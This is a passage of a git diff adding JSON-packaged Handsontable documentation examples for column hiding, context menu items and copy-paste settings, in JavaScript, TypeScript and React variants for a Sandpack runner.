hiding","exampleId":"example4","exampleTitle":"Step 3: Set up context menu items","docPermalink":"/column-hiding","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example5.js.json new file mode 100644 index 00000000..3d54567f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example5.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column hiding · Step 3: Set up context menu items (2) · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5');\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ],\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n // individually add column hiding context menu items\n contextMenu: ['hidden_columns_show', 'hidden_columns_hide'],\n hiddenColumns: {\n columns: [3, 5, 9],\n indicators: true,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-hiding/javascript/example5.js","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example5","exampleTitle":"Step 3: Set up context menu items (2)","docPermalink":"/column-hiding","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example5.ts.json new file mode 100644 index 00000000..ab457627 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example5.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column hiding · Step 3: Set up context menu items (2) · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ],\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n // individually add column hiding context menu items\n contextMenu: ['hidden_columns_show', 'hidden_columns_hide'],\n hiddenColumns: {\n columns: [3, 5, 9],\n indicators: true,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-hiding/javascript/example5.ts","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example5","exampleTitle":"Step 3: Set up context menu items (2)","docPermalink":"/column-hiding","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example6.js.json new file mode 100644 index 00000000..e41d8485 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example6.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column hiding · Step 4: Set up copy and paste behavior · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example6');\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ],\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n contextMenu: ['hidden_columns_show', 'hidden_columns_hide'],\n hiddenColumns: {\n columns: [3, 5, 9],\n indicators: true,\n // exclude hidden columns from copying and pasting\n copyPasteEnabled: false,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-hiding/javascript/example6.js","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example6","exampleTitle":"Step 4: Set up copy and paste behavior","docPermalink":"/column-hiding","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example6.ts.json new file mode 100644 index 00000000..7904bf7f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example6.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column hiding · Step 4: Set up copy and paste behavior · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example6')!;\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ],\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n contextMenu: ['hidden_columns_show', 'hidden_columns_hide'],\n hiddenColumns: {\n columns: [3, 5, 9],\n indicators: true,\n // exclude hidden columns from copying and pasting\n copyPasteEnabled: false,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-hiding/javascript/example6.ts","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example6","exampleTitle":"Step 4: Set up copy and paste behavior","docPermalink":"/column-hiding","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__react__example1.tsx.json new file mode 100644 index 00000000..cecccc58 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column hiding · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-hiding/react/example1.tsx","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-hiding","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__react__example2.tsx.json new file mode 100644 index 00000000..8c0a8c6f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column hiding · Step 1: Specify columns hidden by default · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n